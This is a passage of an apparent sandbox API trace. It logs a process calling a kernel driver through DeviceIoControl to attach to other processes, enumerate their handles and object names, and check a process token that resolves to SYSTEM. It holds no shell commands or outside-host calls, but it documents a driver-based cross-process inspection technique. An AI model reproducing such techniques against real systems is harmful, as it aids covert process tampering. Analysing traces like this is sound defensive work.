ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.177] ObfDereferenceObject (Object=0xfffffa80019d1070) returned 0x1 [0113.177] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.177] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.177] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.177] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xd8, lpOverlapped=0x0) returned 1 [0113.177] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.177] PsAcquireProcessExitSynchronization () returned 0x0 [0113.177] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.177] ObReferenceObjectByHandle (in: Handle=0x758, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800206b4e0, HandleInformation=0x0) returned 0x0 [0113.177] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.177] PsReleaseProcessExitSynchronization () returned 0x2 [0113.177] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.177] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.177] ObfDereferenceObject (Object=0xfffffa800206b4e0) returned 0x13 [0113.177] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.177] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.177] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.177] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0113.177] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.177] PsAcquireProcessExitSynchronization () returned 0x0 [0113.177] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.177] ObReferenceObjectByHandle (in: Handle=0x760, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800207daa0, HandleInformation=0x0) returned 0x0 [0113.178] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.178] PsReleaseProcessExitSynchronization () returned 0x2 [0113.178] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.178] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800207f044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800207f044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.178] ObfDereferenceObject (Object=0xfffffa800207daa0) returned 0x12 [0113.178] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.178] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.178] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.178] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xda, lpOverlapped=0x0) returned 1 [0113.178] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.178] PsAcquireProcessExitSynchronization () returned 0x0 [0113.178] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.178] ObReferenceObjectByHandle (in: Handle=0x76c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020838a0, HandleInformation=0x0) returned 0x0 [0113.178] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.178] PsReleaseProcessExitSynchronization () returned 0x2 [0113.178] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.178] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800209f044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800209f044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.178] ObfDereferenceObject (Object=0xfffffa80020838a0) returned 0x12 [0113.178] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.178] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.178] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.178] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0113.178] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.178] PsAcquireProcessExitSynchronization () returned 0x0 [0113.178] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.178] ObReferenceObjectByHandle (in: Handle=0x780, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020899b0, HandleInformation=0x0) returned 0x0 [0113.178] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.178] PsReleaseProcessExitSynchronization () returned 0x2 [0113.178] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.178] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020ae044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020ae044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.178] ObfDereferenceObject (Object=0xfffffa80020899b0) returned 0x12 [0113.178] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.179] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.179] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.179] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0113.179] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.179] PsAcquireProcessExitSynchronization () returned 0x0 [0113.179] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.179] ObReferenceObjectByHandle (in: Handle=0x874, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80037eecc0, HandleInformation=0x0) returned 0x0 [0113.179] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.179] PsReleaseProcessExitSynchronization () returned 0x2 [0113.179] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.179] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020ba044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020ba044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.179] ObfDereferenceObject (Object=0xfffffa80037eecc0) returned 0x5 [0113.179] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.179] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.179] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x338) returned 0xc0 [0113.179] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.179] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa800312bb30, HandleInformation=0x0) returned 0x0 [0113.179] ObOpenObjectByPointer (in: Object=0xfffffa800312bb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0113.179] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcf [0113.179] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa8003120740 | out: TokenHandle=0xfffffa8003120740*=0xc8) returned 0x0 [0113.179] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0113.179] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.179] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.179] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.181] CloseHandle (hObject=0xc8) returned 1 [0113.181] CloseHandle (hObject=0xc0) returned 1 [0113.181] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.181] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0113.181] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.181] PsAcquireProcessExitSynchronization () returned 0x0 [0113.181] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0) [0113.181] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031589b0, HandleInformation=0x0) returned 0x0 [0113.181] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.181] PsReleaseProcessExitSynchronization () returned 0x2 [0113.181] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0113.182] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020c6044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020c6044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.182] ObfDereferenceObject (Object=0xfffffa80031589b0) returned 0x1 [0113.182] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.182] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.182] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.182] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.182] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.182] PsAcquireProcessExitSynchronization () returned 0x0 [0113.182] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0) [0113.182] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031657d0, HandleInformation=0x0) returned 0x0 [0113.182] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.182] PsReleaseProcessExitSynchronization () returned 0x2 [0113.182] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0113.182] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.182] ObfDereferenceObject (Object=0xfffffa80031657d0) returned 0x1 [0113.182] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.182] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.182] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.182] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.182] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.182] PsAcquireProcessExitSynchronization () returned 0x0 [0113.182] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0) [0113.182] ObReferenceObjectByHandle (in: Handle=0x110, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.182] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.182] PsReleaseProcessExitSynchronization () returned 0x2 [0113.182] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0113.182] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.182] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.182] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.182] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.182] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.182] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.183] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.183] PsAcquireProcessExitSynchronization () returned 0x0 [0113.183] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0) [0113.183] ObReferenceObjectByHandle (in: Handle=0x118, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.183] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.183] PsReleaseProcessExitSynchronization () returned 0x2 [0113.183] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0113.183] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.183] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.183] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.183] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.183] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.183] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x44, lpOverlapped=0x0) returned 1 [0113.183] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.183] PsAcquireProcessExitSynchronization () returned 0x0 [0113.183] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0) [0113.183] ObReferenceObjectByHandle (in: Handle=0x15c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003181ea0, HandleInformation=0x0) returned 0x0 [0113.183] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.183] PsReleaseProcessExitSynchronization () returned 0x2 [0113.183] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0113.183] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.183] ObfDereferenceObject (Object=0xfffffa8003181ea0) returned 0x1 [0113.183] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.183] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.183] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.183] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x42, lpOverlapped=0x0) returned 1 [0113.183] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.183] PsAcquireProcessExitSynchronization () returned 0x0 [0113.183] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0) [0113.183] ObReferenceObjectByHandle (in: Handle=0x180, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003170460, HandleInformation=0x0) returned 0x0 [0113.183] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.183] PsReleaseProcessExitSynchronization () returned 0x2 [0113.183] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0113.183] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.183] ObfDereferenceObject (Object=0xfffffa8003170460) returned 0x1 [0113.184] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.184] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.184] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.184] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.184] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.184] PsAcquireProcessExitSynchronization () returned 0x0 [0113.184] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0) [0113.184] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031a2070, HandleInformation=0x0) returned 0x0 [0113.184] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.184] PsReleaseProcessExitSynchronization () returned 0x2 [0113.184] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0113.184] ObQueryNameString (in: Object=0xfffffa80031a2070, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.184] ObfDereferenceObject (Object=0xfffffa80031a2070) returned 0x1 [0113.184] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.184] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.184] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.184] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x28, lpOverlapped=0x0) returned 1 [0113.184] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.184] PsAcquireProcessExitSynchronization () returned 0x0 [0113.184] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0) [0113.184] ObReferenceObjectByHandle (in: Handle=0x298, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031a6600, HandleInformation=0x0) returned 0x0 [0113.184] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.184] PsReleaseProcessExitSynchronization () returned 0x2 [0113.184] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0113.184] ObQueryNameString (in: Object=0xfffffa80031a6600, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.184] ObfDereferenceObject (Object=0xfffffa80031a6600) returned 0x3 [0113.185] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.185] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.185] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.185] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0113.185] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.185] PsAcquireProcessExitSynchronization () returned 0x0 [0113.185] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0) [0113.185] ObReferenceObjectByHandle (in: Handle=0x2c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031ab710, HandleInformation=0x0) returned 0x0 [0113.185] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.185] PsReleaseProcessExitSynchronization () returned 0x2 [0113.185] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0113.185] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.185] ObfDereferenceObject (Object=0xfffffa80031ab710) returned 0x1 [0113.185] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.185] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: 